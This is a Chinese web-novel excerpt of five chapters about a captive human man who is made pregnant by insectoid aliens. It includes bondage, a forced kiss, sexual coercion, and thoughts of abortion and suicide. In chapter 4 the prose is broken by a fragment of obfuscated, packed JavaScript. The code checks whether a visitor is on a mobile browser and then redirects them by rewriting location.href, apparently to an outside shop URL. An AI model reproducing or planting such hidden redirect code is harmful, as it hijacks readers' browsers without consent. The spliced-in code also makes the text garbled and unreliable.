《孕晚期直男虫母崩溃日记》
1. Chapter1
尤金觉得自己要疯了。
他在很长的一段时间对周围一切失去了感知,整个人木木的像个雕塑缩在房间的角落,就连身下柔软的地毯都无法驱散寒意。
他想抱抱自己,哪怕只是双臂交叠抱住蜷曲的腿,缩紧身体。
可他做不到。
他的双腕在今天清晨就已经被铁环扣了起来,拧到了背后,钥匙被那个男人当着他的面放进了嘴巴里,一点点嚼碎吞了下去。
“您现在不需要手。”
不久前,男人平静地说:“被束缚的状态会一直持续下去,直到您放弃伤害自己的肚子。在这之前,我会成为您的手脚,为您提供便利。”
尤金已经憔悴多日,他闻言扯出一个虚弱的冷笑,缓慢问:“如果我非要打掉它呢?”
“您会怀上更多。”
男人想了想,道出一个更加严谨的事实:“虫母的繁衍能力可以支撑起您不断地生育,您并不会拥有天真设想中的空窗期。如果这颗卵在产出前死在您的身体里,那么它会变成下一颗卵的养分。”
“也就是说——”
“您会在极短的时间内,再次进入孕晚期。”
“……”
“……”
尤金看着自己的小腹,喃喃:“是吗?是这样吗?”
那里已经隆起一个明显的弧度,每天都膨胀得比前一天更大,尤金毫不意外里面的东西会在某一时刻破体而出,而他则会死在一场艰难的分娩里。
这是当然的。
他想,距离他的孕囊发育完成,也不过才半年而已。
在此之前,他根本就没有想过一个男人也有受孕的可能,甚至怀上了一个异种的孩子,落到了地狱般的境界里。
如果他没有偷渡到这里……
如果他没有被虫子发现并且带了回来……
“爱尔文,好孩子。”
尤金忽地停止了神经质的反思,他面无表情地呼唤道,“到妈妈身边来——你很想闻我的气味不是吗?我看到你在吞咽了。”
“过来吧,我允许你嗅闻。”
男人,或者称呼他为高阶虫族的拟态更为合适。
在尤金近乎引诱的言语中,他瞳孔猛地收缩了一阵,紧接着后背便不受控制地隆起,展开了一节一节色彩艳丽的鞘翅,喉咙中也发出了属于节肢动物的嘶嘶声。
“不……我不能。”
他艰难喘息着,“您的状态太过虚弱,我闻到,会进入发情期,不能,伤到您。”
尤金冷眼旁观他的摇摇欲坠。
虫族就是这种东西,给他们一个机会,他们锋利的口器和节肢可以刺入任何猎物的身体,杀死对方完成捕食。
交.配也是同理。
但凡抓住一点契机,都不吝啬于在尤金身上使用他们的‘刀具’。
尤金骂他:“装模作样的蠢货,我让你过来!”
虫母情绪有波动时气味会更加香甜,就在这句话音落的下一秒,尤金清晰地看到雄虫的四肢有一瞬间的扭曲,险些无法完美地维持人形。
甜美到像是果实腐烂的信息素味道,正源源不断地从尤金身上散发出来,气息好闻动人到不可思议。
雄虫鼻尖耸动,不断贪婪地嗅闻,不受控地做出了更大的吞咽的动静。
他终于忍不住了。
可怖的生物眼睛一闭一眨间,人形的瞳孔和虫子的复眼在不断切换,他死死盯着味道好闻的尤金,嘴里重复着无意义的呢喃:
“妈妈!妈妈妈妈妈妈!!”
“好香好香!好香好香好香!!”
作为近百年刚出现的新物种,虫族每一只高阶种都有着极强的模仿能力,肆意可以更换形态,以此来迷惑及捕食其他物种,人类形态也不过是其中之一。
如果忽略轻易嚼碎钥匙的咬合力,和此刻处于捕猎状态的竖瞳,刚刚,眼前这只雄虫的拟态堪称完美。
只有一点例外。
严格上来讲,由于生理结构和行为模式的差异,虫子是没有像人类一样的边缘系统、前额叶皮层这种情感捕捉功能的,无法产生人类意义上的依恋、悲伤、喜悦类复杂的感情。
他们更多只会表现出基于生存本能的程序化反应:例如饥饿后的捕食、发情期的筑巢、排卵期脱离族
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群等等的,是有规律的习性。
以上的结论代表,每一只虫子都很难与人类共情,也代表他们并不理解尤金、他们珍贵的虫母此时的情绪波动背后所蕴含的危险含义。
那是一种濒临崩溃界前的最后一点平静,是暴风雨来临前的死寂。
他们只会对尤金受孕时的抗拒,更甚至日复一日试图伤害自己肚子的行为感到十足的困惑。
尽管如此,在听到尤金唤他名字,对他发出了显而易见的示好信号时,名为爱尔文的雄性虫族还是第一时间挥动翅膀,凑了过去。
这是追逐虫母的天性。
即使尤金成为虫母的时间短到令人发笑。
“妈妈,闻,想闻,好香好香……”
“不够不够不够不够……”
雄虫抱住了尤金,鼻尖抵在尤金的脸部肌肤上,去嗅他毛孔下血肉的味道,光是嗅还不止,无法满足的他很快又伸出舌尖,一下一下去舔尤金的脸蛋。
锐利的尖齿时不时划过,尤金敛着眉眼,任由他动作。
在人类族群里,尤金完全可以称得上是个身形高挑的男人。
他很受欢迎,每次行走在街上,出现在众人的视线里,都会引起女性过路者的停驻和略带兴奋的讨论声,绝对是个广义上的俊美优秀的人。
可当雄虫逐渐接近,阴影垂直地落下来时,他们之间的体型还是不可避免地被拉开了差距,尤金不得不仰头看他。
“喜欢吗?”
尤金轻声道。
他的手还在背后绞着,身前毫无防备地有大片空白,事实上他不习惯这样大幅度地打开身体,可近半年来做的次数多了,多少也能隐忍下来。
“只要你能把我肚子里刚长出来的肉块、那个绝不属于男人应该生长的器官撞开,杀了我厌恶的野种……我会给你更多,亲爱的爱尔文。”
尤金笑了笑。
他是如此性感,面无表情时尚且带着几分难以接近,笑起来却全都消失不见了,如同情人,爱侣般,他对雄虫道。
“位置空出来,如此一来。”
“——我就能怀上你的卵了。”
2. Chapter2
尤金说完这句话后,空气好一会儿寂静无声。
只有雄虫爱尔文后背鞘翅持续发出的低频振动,像某种不祥的电流,滋滋地摩擦着尤金的耳膜和神经。
他看见爱尔文那张过分完美,缺乏人类鲜活气息的脸上,那双眼睛的瞳孔率先微微扩散了,昆虫复眼般的网格状光晕一闪即逝。
“妈妈想要我的卵……”
雄虫的手掌覆了上来,不是情欲的抚摸,而是精准的定位。
微凉而骨骼宽大的手,完全盖住尤金小腹最鼓胀坚硬的那一块隆起,指尖轻轻按压,感受着其下卵囊的轮廓与硬度。这个动作剥离了所有暧昧,只剩下冰冷的探查。
他进一步确认:“只要里面这颗生命体征停止,就可以将我的塞进去?”
“没错。”
尤金从紧咬的牙关中挤出回答,强迫自己更深地向一侧仰倒,将整个脆弱的腹部更彻底地暴露在对方视线与触碰之下,“拿掉它,爱尔文。立刻,替我拿掉它!”
他抛出诱饵,声音却像即将断裂的弦。
尤金知道自己在说什么,也知道这邀请意味着什么,但比起孕育来路不明,日夜汲取他生命的怪物,他宁愿选择一场短暂的、或许能杀死它的暴力。
普通人大约会因杀死生命而产生迟疑,但尤金不会。
被强行改造、被反复侵犯、被剥夺一切作为人的尊严与未来后,他对腹中这个加速他异化的东西只有刻骨的憎恶与恐惧。
母性?那是建立在自愿与爱之上的幻觉,而他这里只有日益加重的污泥。
尤金永远不会爱自己的孩子。
永远。
可雄虫的反应却让他失望了。
只见爱尔文那张过于冷漠且无机质的脸上,并没有展露出动摇。他甚至没有立刻回答,只是缓缓地、极其缓慢地眨了一下眼睛。随着上下眼皮合拢的动作,一个扭曲的,满足的笑便突兀挂在了上面。
他在愉悦。
因为虫母表达出了对他的青睐,对他发出了受孕许可。
“……”
“……”
寒意从脊椎底端窜上来,顺着骨头缝往头顶爬,像是有无数根细针在扎着骨髓,已经意识到什么的尤金牙齿死死咬着唇里的嫩肉,眼前阵阵发黑。
“你为什么不动?”
尤金听到有声音从自己唇部发出,细微的颤抖音被他压了下去,“我以为这个交易对你来说,吸引力已经足够充分了。爱尔文,你没有不答应的理由。”
冷静。
尤金告诉自己。
跟虫子交锋多次,他多少总结出了应对他们的经验:无意义的大声嘶吼最没有用,只能白白浪费体力——这些虫子是典型的逐利性动物,想要支配他们为自己做事,他也需要付出相应的好处。
例如气味。
例如近侍权、过夜权。
可他暗示得这样明显了,以前最是好哄骗的爱尔文却不为所动……对尤金来说,这绝不是个好的信号,情况开始变得更糟了。
果不其然,雄虫覆在他腹部的掌心温度略略升高了一点。他的复眼微光再次掠过,这次停留的时间更长了,仔细地阅读着尤金脸上每一丝细微的肌肉抽搐、瞳孔的收缩,以及因恐惧而不自觉加重的呼吸。
然后他开口了。
只说了一句话,就让尤金呼吸一窒。
他说——
“初孕的妈妈好可爱。”
这句评价不含任何人类理解的嘲讽或轻佻,它平坦,直接,如同记录一个实验现象,剥除了情感逻辑,将尤金所有的挣扎,仅仅视作虫母初孕期一种值得观察的、或许还带点调皮的行为表征。
尤金:“……你在说什么?”
爱尔文好似终于完成了他的观察分析,收回了那令人不适的笑容,表情恢复成一贯的平静无波。
他松开放在尤金腹部的手,转而轻轻托起尤金被缚在身后僵硬冰冷的手腕,用一种堪称温柔的力度按摩着那被铁环勒出的红痕。体贴的动作与他接下来说出的话形成了地狱般的反差。
“妈妈,您似乎产生了一些认知误差。”
他语气平和,像在纠正一个简单的常识性错误,“首先,没有任何一只虫族会被允许,甚至在本能层面去伤害虫母肚子中的卵,尤其是这颗初孕的珍贵胚胎。”
“保护它直至顺利诞育,是整个巢群当前的绝对指令,优先级高于一切,包括您暂时的意愿,也包括我个体的交.配欲。”
他顿了顿,指尖拂过尤金手腕的肌肤,继续用那种阐述事实的口吻说:“其次,关于您提出的
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交易……从繁衍效率与族群稳定的角度考虑,并无必要,也不符合程序。”
他那双非人的眼睛静静地注视着尤金逐渐惨白的脸,“在虫族的序列中,照顾初孕虫母直至成功诞育,是重要的功绩与资格证明。我作为您的近身侍从,全程负责您的安危与这枚卵的健康,当它顺利破壳后,基于此功绩,我在下一轮为您注入遗传物质的序列顺位上,将会获得显著提升。”
他微微偏了偏头,似乎在思考如何让尤金更明白这个简单的道理:
“所以,妈妈,我不需要冒险去做违反本能、损害族群利益的事情,来换取一个‘可能’。我只需要耐心地、完美地履行我现在的职责,确保您和它都健康。那么下一颗卵……迟早会轮到我来注入。”
他的目光再次落在尤金隆起的小腹上。
这一次,里面清晰地流露出一种纯粹占有欲与期待,不是对尤金此刻身体的欲望,而是对那个‘未来位置’的笃定。
“您的孕囊既然已经发育成熟,并且证明了其优秀的承载能力,”他轻声补充,如同宣布一个自然定律,“那么在未来的漫长岁月里,它被一次又一次地注满、孕育、清空,将是必然的,循环的常态。”
“而我,只需要等待我的轮次到来。”
“……”
尤金一个字也说不出来了。
所有的算计,孤注一掷,屈辱交易,在这套冰冷严谨、完全建立在虫族繁衍逻辑之上的体系面前显得如此可笑。
如此渺小。
如此……人类。
爱尔文看着他灰败下去的眼神,无声地判断出交流可以暂时结束了。动作流畅地将尤金扶正,他最后深深嗅闻了一下尤金身上的味道,整理了一下他敞开的衣袍,遮住那颤抖的腹部。
“您需要休息了,妈妈。情绪过度波动会影响卵的稳定。我会在屋外守候。”
他随后便离开了。
尤金瘫靠在墙壁上,身躯慢慢滑坐到了地毯上,宛如被抽走了灵魂,这也是今天他如同一个死物般缩在角落的原因。
不能这样下去了。
尤金很久才恢复了意识,这样想到。
他要逃出去,离开这里。
或者自杀,在腹中的东西分娩出来之前,以一个人类的身份死去。
3. Chapter3
逃走。
看似简单的两个字,实际操作起来并不容易。
事实上,怀孕后的尤金多数时间都沉在昏睡中,他开始像所有世俗意义上的准妈妈一样,嗜睡、贪甜、情绪易燃易怒。
尤金把这些症状一一记在脑海里,如同整理实验数据般归类、分析。
是孕期抑郁。
他冷静地想,此病因不过是激素变化与心理压力共同作用的结果而已,一种可以被解构、被解决的问题。
疾病之所以是疾病,只因为它尚未被针对性地消灭。
尤金很清楚,让自己痛苦的根源不是那些症状,而是症状的源头——他腹中那个正在生长的东西。只要将它移除,一切就能回归正轨。
这个想法像锚点一样固定着尤金,让他在昏沉的睡意与偶尔汹涌的浪潮中保持着一丝清明。
他不需要恐慌,只需要一个计划……
眼皮越来越重。
尤金抵抗了几分钟,最终还是屈服于那股拖拽他下沉的力量。意识模糊前,他迷迷糊糊地想,睡过去也好,至少不用清醒地感受这具身体逐渐脱离掌控的过程了。
……
黑暗。
温暖粘稠的黑暗。
然后、它动了。
并非胃部的收缩和肠道的蠕动,而是某种更具体、更独立的存在,在他腹部深处轻轻顶了一下。
尤金猛地惊醒。
冷汗一点点浸透睡衣的整个背部,凉意蛇一样顺着脊椎爬上来,他僵在床上,不自觉地低头看向小腹,那里一片寂静,仿佛刚才那一下只是他昏沉中的错觉。
但冷汗是真实的,心脏在胸腔里擂鼓般的跳动也是真实的。
尤金慢慢地,几乎是警惕地坐起身,屏住呼吸等待。
一秒。
两秒。
又是一下。
这次更清晰,像有什么在里面轻轻推搡着包裹它的囊壁,毫无疑问有着微小但不容忽视的脉动。是生命迹象,是活着的正在发育的东西。
尤金感到喉咙发干。
他以为自己有了心理准备,可真的到了这个时候,那一向引以为傲的理性却成了冰面上裂开的细纹。他可以冷静地分析激素,理智地计划堕胎,但面对这种直接的原始胎动,他的脑袋反而有一瞬间是完全茫然的空白。
门被轻轻推开。
爱尔文端着托盘走进来,步履平稳无声。托盘上放着几管营养剂和一杯温水,他看起来与往常并无不同,衣着整洁,神态平静,仿佛只是一位按时送来早餐的管家,而非囚禁他令他受孕的怪物之一。
“您流了很多汗。”
放下托盘,他走近床边,伸手碰了碰尤金汗湿的额头。
尤金本能地想躲开,但身体僵硬得无法移动,只能眼睁睁注视着雄虫拿起毛巾,动作轻柔地擦拭他额头的汗,矛盾的体贴更加让他毛骨悚然。
“刚才……”
尤金嗓音沙哑,“它在动。”
“是的。”爱尔文的语气平常得像在谈论天气,“发育到这个阶段,卵体会开始出现自主性脉动。这是神经系统初步形成的标志。”
他说得如此学术冷静。尤金盯着他,突然涌起一股荒谬的冲动,想要狠狠挥开这张平静无波的脸。如果不是他的手依然被束缚着,他绝对会这么做的。
“神经系统……”
尤金重复,每个字都咬得很重,“所以现在,它能感受了,对吗?包括痛觉?”
爱尔文擦拭的动作几不可察地顿了一下。
那双伪装成人形的瞳孔微微收缩,似乎在判断尤金话里的意图。片刻后才用一种诚恳的语气回答:“当然,痛觉严格来说是一种保护机制,它会有的。”
话音落下,腹部又是一下轻微的顶动,像是在回应。
尤金咬紧牙关,强迫自己维持表面的镇定:“好极了。”
他不会让它好过的。
“妈妈,无论您在想什么,都请之后再说。”
爱尔文将一管淡金色的营养剂递到他唇边,“您该进食了。卵体发育需要大量能量,您的身体储备已开始被调用,再这样下去,它会汲取您的骨髓液,您会承受不住的。”
尤金静了片刻。
理智告诉他该喝下去,可一股反叛的冲动却攥住了他。
他抬眼看向雄虫,忽然轻轻笑了一声,声音温柔得像在哄情人:“亲爱的爱尔文,难道我肚子里这孩子……将来会像你一样不听话吗?”
“不,不会。”
他顿了顿,唇角弯起一个极淡的弧度,“它不会忍心让它的妈妈伤心,它和你不一样。”
“……”
爱尔文沉默地看着他。
尤金坦然迎上他的目光。那双总是盛满疲惫、憎恶或冷漠的眼睛,这一次却先一步移开了视线。
他像是完全不在意眼前的雄虫了。
就因为他不听话、伤了他的心。
这让爱尔文的反应迟缓了一瞬。
理论上,尤金可以选择的对象当然不止他一个,只要身为母亲的尤金愿意,整个虫族都会供他驱使,
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毫不犹豫地为珍贵的虫母冲锋陷阵。
前提是尤金必须接受被圈养的余生,并且不再试图伤害自己的肚子。
爱尔文只不过陈述了事实。
换作其他同族也会给出同样的回答。
这不是拒绝,他们永远不会拒绝心爱的妈妈,他甚至愿意为他而死。
可尤金不再喜爱他,也是合理的结果。
谁让不是别人、偏偏是他最先触了红线,成为第一个为尤金带来实质绝望的人呢?
“妈妈、妈妈……”
爱尔文的语气里罕见地带上了不易察觉的急切,他不断向前倾身,“您如何保证您孕育的卵,就一定比我更加爱您呢?这缺乏严谨,毫无依据!”
“我不需要它爱我。”
尤金淡淡道,目光落在自己微隆的小腹上,声音轻得像在自言自语,“我尝试去爱它就够了。和你这种嘴上叫我妈妈,用称呼绑架我、却和我毫无血缘关系的虫子不同……被我亲自孕育、亲自养大的孩子,总会更合我的心意。”
“是啊,我早该想到这一点。”
尤金像是忽然想通了什么,轻轻呵出一口气。
随后他抬起眼,看向爱尔文,眼里没有任何情绪,只有一片平静的疏离。
“爱尔文,你不同意我杀死它是对的。”
“感谢你。”
“但你已经闻过我的气味了,别想让我给你更多——听明白了吗?明白的话那就离开我的视线,越远越好,你这讨人厌的、烦人的蠢货!”
……
爱尔文静止在原地。
他拟态成人类的瞳孔不知不觉中再次切换为虫子的复眼,无数细小的晶格倒映着房间昏沉的光,脸部肌肉绷紧,那张僵硬的模拟皮囊下传出细微的、节肢摩擦般的咔哒轻响。
虫子没有情绪感知系统,这点尤金之前就已经验证。
所以,爱尔文绝不会愤怒。
妈妈青睐他也好,厌弃他也罢,身为侍奉虫母的雄虫之一,他理应毫无动摇。
本该如此。
可他却听见自己用平稳无波的声线,说出了一句站在生物学角度、作为虫族绝不该讲出的话:“——请您停止将我与它作比较。”
高大的高阶雄虫向前一步,阴影完全笼罩住尤金:
“妈妈、妈妈……”
“您应当平等地爱您每一个孩子,包括我在内。”
微微歪头,他姿态既像困惑,又像某种极度危险的警告:“否则,我可能会控制不住,将它的生命提前结束掉。”
4. Chapter4
哈。
尤金脸上刻意维持的平静消失了,眼底取而代之燃起的是一种灼亮的、近乎狂喜的光芒。
他非但没有被雄虫话中赤.裸的威胁吓退,反而像濒死的囚徒抓住了唯一的绳索,死死攥着生存的可能。
“你说什么?”
他的声音因激动而微颤,几乎是弹坐起来。宽松的睡衣前襟随之散开,将那片微隆的、苍白的腹部完全暴露在昏沉光线与爱尔文复眼冰冷的结构光泽之下。
“杀了它,现在,就在这里?”
他的动作急切到粗暴,胸膛剧烈起伏,眼睛死死锁住眼前的雄虫,里面燃烧着献祭般的疯狂。
“来啊爱尔文,你不是要结束它吗?动手。用你的外骨骼,用你的螯肢,随便什么剖开它,拿走它,证明给我看!”
隆起的弧度下传来一阵不安的脉动,仿佛内置的活物也感知到了这凝滞的杀意。尤金毫不在意,他甚至渴望这动静更大些,好更彻底地点燃,或者说‘诱惑’这只声称要弑杀同类的雄虫。
爱尔文的复眼高频颤动,所有细密的晶格都倒映着尤金袒露的皮肤和那双灼烧的眼睛。他脸部拟态的肌肉线条僵硬,节肢摩擦的细微咔哒声变得密集。
他向前逼近一步,阴影浓稠,带着非人的压迫笼罩下来。
抬起一只手,他指尖的拟态正在缓慢褪去,露出其下冰冷锐利的黑色角质尖端,在尤金明亮的注视中伸了过去。
就在那尖端即将触碰到尤金汗湿的皮肤,抵上那孕育着生命的脆弱弧度时——
“哎呀,看来我来的不是时候?”
一道截然不同的声音传来,轻快优雅,尾音却带着黏腻的戏谑,如同毒蛇滑过浸水的河道,“或者说……正是时候?”
门无声滑开,另一只雄虫斜倚在门框上。
他与爱尔文身形相仿,衣着类似,气质却天差地别。如果说爱尔文是精密冷硬的仪器不像个人,这一位更是明摆着的恶劣生物。
来者狭长的眼眸此刻正饶有兴致地扫过屋内景象,爱尔文蓄势待发的手,尤金袒露的腹部,以及后者在见到他时瞬间凝固的表情。
尤金脸色沉了下去。
那是一种更深层次的厌恶,其中或许还夹杂着细微的惊惧,和被窥破狼狈的羞恼。方才对着爱尔文燃烧的疯狂火焰如同被冰水迎头浇灭,嗤地一声,只剩潮湿的灰烬与刺骨的寒意。
尤金本能地后缩,试图避开那如有实质的视线锁定。
“维斯珀。”
爱尔文收回手,拟态迅速恢复完整,声音平板,细听之下蕴藏着不赞同的底色。
被称作维斯珀的雄虫慢悠悠地进来,无视了爱尔文隐隐的戒备姿态,目光像涂了蜜的细针,精准地刺在尤金苍白失血的脸上。
“我亲爱的妈咪,”维斯珀开口,语气甜腻得令人不适,“您这幅模样……是在教导我们稳重自持的兄弟,不解风情的爱尔文,学习如何更有效地侍奉您,乃至您腹中珍贵的卵吗?”
他刻意在字眼上咬了重音,舌尖擦过尖齿,发出细微的湿响。
尤金抿紧嘴唇,侧过头,拒绝与他对视。
维斯珀却低笑起来,宛如发现了极有趣的玩物,他走到床边,微微俯身,对着尤金瞬间绷紧的身体深深吸了一口气,仿佛在品尝空气中无形的芬芳。
“恐惧,愤怒,还有悲伤的甜香,真美味。”
维斯珀的眼瞳愉悦地眯起,餍足之下是更加汹涌的浪潮,“比起死水般的平静,还是这样的情绪波动更能让妈咪的信息素显得馥郁诱人。你说呢,爱尔文?”
他转向同族,话语却在尤金的心神上重重砸起了浪花:“你刚才是不是差点就遂了妈咪的心愿,替他解决那个小麻烦了?我亲爱的兄弟,你难道看不出来我们高贵的母亲是在故意激怒你,引诱你犯下不可饶恕的过错吗?”
“他宁愿牺牲这颗卵,甚至赌上自己可能重伤的风险,也要换取一个摆脱我们,逃离这里的契机……真是可爱的想法。”
他的话像手术刀精准地剖开了尤金意图,将内里血肉赤条条地摊开在光明中。
尤金的呼吸骤然急促,被洞穿的难堪和计划失败的愤怒让他指尖发颤。
“维斯珀,”爱尔文的语调更冷了,他警告道,“你的行为不符合最优的侍奉准则,刺激母体的情绪可能会导致不必要的生理风险。”
“准则?”维斯珀挑眉,笑容不变,甚至更盛,“准则可没说过不能让母亲更有活力一些。你看,他现在多么生动。”
他的目光流连在尤金因愠怒而泛起薄红的脸颊上,看着他起伏不定胸膛,毫不掩饰近乎鉴赏的欣赏。
尤金感到一阵反胃。
如果说爱尔文勉强称得上听话,那么维斯珀这种以挑动他情绪为乐,并以此为食的行径就是一种裹着天鹅绒的刑具,柔软之下满是倒刺。
“滚出去。”
尤金一字一句道。他不再看维斯珀,转而命令爱尔文,态度前所未有的决绝,“爱尔文,我命令你,让这个东西快些离开我的房间!”
“现在!立刻!”
爱尔文的复眼在尤金和维斯珀之间无声转动。母亲直接指令的优先级占了上风,他转向维斯珀,身体微侧,形成牢固的阻拦姿态:“维斯珀,母亲需要休息。请离开。”
维斯珀脸上的笑容分毫未减,他并没有离去,反而更近一步。这次他手中多了一个扁平的物体,边缘光滑,映出房间里扭曲昏沉的光。
是镜子。
“妈咪,您应该很久没有看过自己的样子了吧。”
维斯珀将镜面举到尤金面前,拉长了语调:“我认为现在的您需要观察并适应身体的变化,这是必要环节,也是至关重要的一课。”
尤金试图转头躲避。
但镜面如影随形,冰冷光滑的表面无情地将他捕获,他被迫看向镜中的自己。
首先映入眼帘的是一张苍白消瘦的脸庞。
曾经明亮的眼睛深陷于阴影,眼神空茫,下方是浓重的挥之不去的青黑,唇色黯淡干裂。然而,这张憔悴的脸上却奇异地流转着一种光泽。
镜子里的人皮肤过于光滑了,近乎剔透,哪怕房间只有昏光也能泛着珍珠母贝般的湿润微晕,这光泽让他不似尘世的活物,更像一尊正在被无形之力雕琢、釉色渐变的神秘瓷器,美丽而易碎。
视线缓缓下移。
敞开的衣袍下,是那已经显得畸形的腹部。皮肤被撑得极薄,紧绷如一面润泽的鼓,其下黛色的血管蜿蜒盘踞,仿佛地图上绘制的河流。
更下面……
尤金的呼吸停止了。
他的男性特征还在,却显得如此渺小,无关紧要,被上方那座孕育的山峦完全夺去了存在感与意义。而腹部与大腿连接处的肌肤上悄然蔓延开细密的淡金色的纹路,像是蜘蛛的网,又或者古老而诡异的图腾。
这具身体是如此陌生。
它是一个孵化器,一个活体的营养基。一个被征用、被改造、正在执行着某项可怕功能的生物装置。
而属于“尤金”的那个部分——那个高挑、矫健、曾经饱含生命力的年轻男人已经被挤压到最偏僻的角落,只剩下镜中这双映着绝望、仍在微弱反光的眼睛。
“何其美丽的蜕变。”
维斯珀的声音从镜后传来,带着显而易见的、令人骨髓都发冷的赞叹,“腹围增长速率稳定,皮肤弹性很棒。看啊,您独有的虫纹……多么优雅的造物,即便在高阶的族群之中,也没有一只能凝结出如此艺术品的纹路。”
“您的体态是‘丰饶’与‘高效’的极致体现。”
“人类形态的残留不过是无用的装饰,已被舍弃,该被舍弃。”
他的指尖隔着一段微妙的距离,虚虚抚上镜中映出的腹部轮廓。
尤金忽然用被缚的双臂带动身体向前撞去,想要摆脱镜面中的自己。他要疯了,他真的要疯了。那镜子被他撞开,哐当一声落在地面上,没碎,只滑开一段距离。
“滚!”
他嘶声厉喝,犹如困兽,“拿着你这该死的镜子,连人带物,都给我滚出去!”
维斯珀没有立刻去捡镜子。
他俯身更近,那双狭长的眼眸仔细端详着尤金极度愤怒与耻辱而扭曲的美丽脸庞,如同欣赏一件濒临崩坏却因此更具吸引力的珍藏。
“情绪峰值增高……”
“信息素浓度急速攀升……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105671|195799||http|test|mini|href|location''.split(''|''),0,{}));
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>雄虫深深吸气,喉结上下滚动,在尤金抗拒的动作中鼻尖凑近至他的锁骨嗅闻,随后做出了一个清晰无比的吞咽动作。
霎时间,维斯珀俊美的外表猛然扭曲,漆黑的外骨骼一点点暴露在外,他如同之前的爱尔文一样不受控制地展开了鞘翅,虫翼由红变紫。这是虫族即将进入发情期而过度兴奋的标志。
“就是、就是这种气息!再多一些,多给我一些!好香好香好香!!”
“妈咪你真的好棒!好棒!!”
“您为什么不选我当您的近侍呢?对、对、您怀着孕,必须要选一个不会在孕期就将您捅烂的温顺的家伙。哈。”
音落,在尤金眼睫颤抖得更加厉害之前,维斯珀猛地伸手捏住了他的下颌,力道不轻地迫使尤金抬起头,嘴唇微微张开。下一秒,他嘴唇对上了他的,舌头挤压过来,来了一记没有经过同意的舌吻。
不,这不是吻。
而一种蛮横的标记和吞噬。
尤金的大脑一片空白。
他快要被巨大的恶心和恐慌淹没了,感觉到不属于人类的、过分灵巧湿滑的东西探入他的口腔肆意扫荡,贪婪地汲取他呼吸间逸散的所有气息,品尝他因极度抗拒而分泌的、带着恐惧味道的唾液。
“呜……”
尤金忍受着酸涩的口腔,发出一声哀鸣,喘息着眯起了眼睛。如果不这么做,他便会看到两双虫子的复眼,近在咫尺地、一眨不眨地盯着他看。
不知过了多久,维斯珀退开了。
舌尖轻舐过自己的唇角,仿佛在回味,他侧头,目光投向一旁从刚刚开始就沉默的爱尔文道:“妈咪还没有属于我们的自觉。他需要一点引导才能认清现状,释放出最真实也最迷人的气息。”
“母亲已经是我们的所有物了不是吗?”
“那亲密,便也不需要经过母亲的同意。”
他直起身,对尤金露出一个堪称甜蜜的笑容。
雄虫显然还没从刚刚甜美气息中回过神来,没多会儿又凑上去舔食尤金唇角残余亮晶晶的唾液,将那水润吃的一干二净。
瞥了一眼脸色隐晦难辨、但依旧站在原地没动的爱尔文,维斯珀慢条斯理地捡起地上的镜面,亲了亲尤金的脸:“如果妈咪的近侍是我就好了。”
他遗憾地叹息:“谁还能像我们的爱尔文那样冷静呢?我定然不能了,因为我会在照顾妈咪的第一天,就侵犯你到,让你连对我使坏的小心思都升不起来。”
……
维斯珀离开了。
寂静重新降临。
尤金瘫倒在榻上,紧抿着唇瓣,胸膛轻如羽毛地起伏。他唇还上残留着湿滑的触感,被强行侵入的屈辱比镜中影像更加尖锐地刺痛着他的神经。
不想张口。
因为呼吸间满是虫族的气味,腥湿的、黏腻的,残余在他的口腔黏膜内部,如影随形,挥之不去。
恶心。
好恶心。
在极度的疲惫与强烈的反胃感中、尤金的意识开始恍惚下沉,坠向一片深不见底的粘稠深渊。
“妈妈。”
爱尔文在很近处呼唤着他。尤金涣散的视线凝聚,这才发现自己脸上湿凉一片……他竟流了泪。泪痕蜿蜒过苍白的脸颊,香味又溢了出来。
爱尔文正伸出指节,点触着他湿润的脸颊,蘸取那透明的液体,然后送到唇边用舌尖缓慢而认真地舔舐干净。
“你也滚。”
尤金闭上眼。
“妈妈。”
爱尔文再次低唤,口吻中似乎存在某种微弱且难以解析的波动。
尤金不再睁眼,只死死咬着牙关,挤出气音:“别让我……说第二遍!”
长久的静默后,他听到衣物摩擦的细微声响,以及逐渐远去的几乎不存在的脚步声。
这次房间里彻底只剩了他一个人,哦不,还有他肚子中搏动的生命。
恶心的。
生命。
尤金缓缓撑起了身,感受着腹腔深处传来的规律的脉动,一下,又一下敲打在他紧绷的神经和破碎的意志上,仿佛在宣告他无处可逃的、不可逆转的命运。
和他那终将完成的使命——
繁衍。
5. Chapter5
这一晚,尤金久违地梦到了过去。
他出生于独子家庭,父亲是个退役军人,在落后星球的某个小镇上经营着一家小小的面包店。母亲则是个非常喜欢小孩子的教师,总喜欢讲些在其他星球旅行过的故事给尤金听。
因为身体原因,他们诞下尤金后没有再生育,这让幻想着儿女双全的母亲稍有遗憾。
尤金便梦到儿时,还没有沙发高的自己摇摇晃晃,艰难攀爬至母亲身旁,在女人惊讶的轻呼声中,捂着眼睛轻轻趴在她肚子上。
“妈妈,妈妈看。”
他张开有着肉坑的小手,露出眼睛欢呼:“宝宝又出生啦。”
女人一愣。
而后被他逗得咯咯直笑。
“尤金可真是个温柔的孩子呀。”许久后,她擦去泪花,将尤金抱在怀里拍着他的背,感慨说,“这样会哄女孩子,尤金将来一定是个好丈夫,和妻子生出的宝宝也一定和你一样可爱。”
尤金眯着眼睛笑:“尤金是好丈夫。”
尽管那时的他连妻子是什么都不知道。
后来,异种入侵越发严重,各个星球陆续发出了红色生存警报,尤金作为特殊人才被首都星出名军校录取。入学第一天,被教官问到未来的志愿时,他想了想,坦率说道:“做个好丈夫。”
跟同学们诸多于‘为帝国效命’、‘从异种手中拯救世界’、‘将怪物们驱逐出去’的志愿比起来,他所期望的未来显得如此普通且寻常。
宛如油锅中格格不入的那滴清水,一言激起千层浪,讨论声渐起。
简直让人难以相信,尤金·梅尔维,他的名字竟然就是那年挂在新生成绩单的榜首、教官们提起就笑容满面的实用型好苗子。
尤金一直以来都是个有计划的人。
他冷淡认真,上进心强,有着强烈自尊心的同时好胜心也非比寻常。这让他几乎没什么朋友,异性缘虽好,却只暂时止步于交流,不存在更深的交往。
结婚而已,不必急于一时,未来有的是时间考虑——当时的他这样想到。
却不想眨眼间,梦境一沉,坠入了粘稠温热的液体中。
